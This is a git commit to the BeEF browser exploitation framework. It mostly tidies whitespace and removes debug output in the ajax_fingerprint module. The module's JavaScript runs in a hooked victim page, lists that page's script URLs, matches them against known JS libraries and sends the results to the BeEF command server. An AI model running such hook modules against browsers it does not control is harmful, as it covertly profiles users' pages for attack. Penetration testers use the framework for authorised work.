Removed debug info from ajax_fingerprint module

For real this time
This commit is contained in:
bcoles
2012-04-30 16:04:20 +09:30
parent 004b3c15ce
commit 8b3e032ad1
3 changed files with 17 additions and 16 deletions

View File

@@ -42,19 +42,20 @@ beef.execute(function() {
"GWT": new Array("gwt","search-results"),
"Atlas": new Array("AtlasRuntime","AtlasBindings","AtlasCompat","AtlasCompat2"),
"jquery":new Array("jquery","jquery-latest","jquery-latest","jquery-1.5"),
"ExtJS":new Array("ext-all"),
"Prettify":new Array("prettify"),
"ExtJS":new Array("ext-all"),
"Prettify":new Array("prettify"),
"Spry": new Array("SpryTabbedPanels","SpryDOMUtils","SpryData","SpryXML","SpryUtils","SpryURLUtils","SpryDataExtensions","SpryDataShell","SpryEffects","SpryPagedView","SpryXML"),
"Google JS Libs":new Array("xpath","urchin","ga"),
"Libxmlrequest":new Array("libxmlrequest"),
"jx":new Array ("jx","jxs"),
"bajax":new Array("bajax"),
"AJS": new Array ("AJS","AJS_fx"),
"Greybox":new Array("gb_scripts.js"),
"Qooxdoo":new Array("qx.website-devel","qooxdoo-1.6","qooxdoo-1.5.1","qxserver","q","q.domain","q.sticky","q.placeholder","shCore","shBrushScript"),
"Google JS Libs":new Array("xpath","urchin","ga"),
"Libxmlrequest":new Array("libxmlrequest"),
"jx":new Array ("jx","jxs"),
"bajax":new Array("bajax"),
"AJS": new Array ("AJS","AJS_fx"),
"Greybox":new Array("gb_scripts.js"),
"Qooxdoo":new Array("qx.website-devel","qooxdoo-1.6","qooxdoo-1.5.1","qxserver","q","q.domain","q.sticky","q.placeholder","shCore","shBrushScript"),
};
function fp() {
};
function fp() {
try{
var sc = document.scripts;
var urls ="";
@@ -89,5 +90,7 @@ beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+results.toString());
}
}
fp();
});

View File

@@ -17,12 +17,11 @@ beef:
module:
ajax_fingerprint:
enable: true
category: "Browser"
category: "Host"
name: "Fingerprint Ajax"
description: "Fingerprint Ajax and JS libraries present"
description: "Fingerprint Ajax and JS libraries present on the hooked page."
authors: ["qswain"]
target:
working: ["FF","S"]
not_working: ["C"]

View File

@@ -15,9 +15,7 @@
class Ajax_fingerprint < BeEF::Core::Command
def post_execute
puts 'Post'
content = {}
content['script_urls'] = @datastore['script_urls'] if not @datastore['script_urls'].nil?
if content.empty?
@@ -25,4 +23,5 @@ class Ajax_fingerprint < BeEF::Core::Command
end
save content
end
end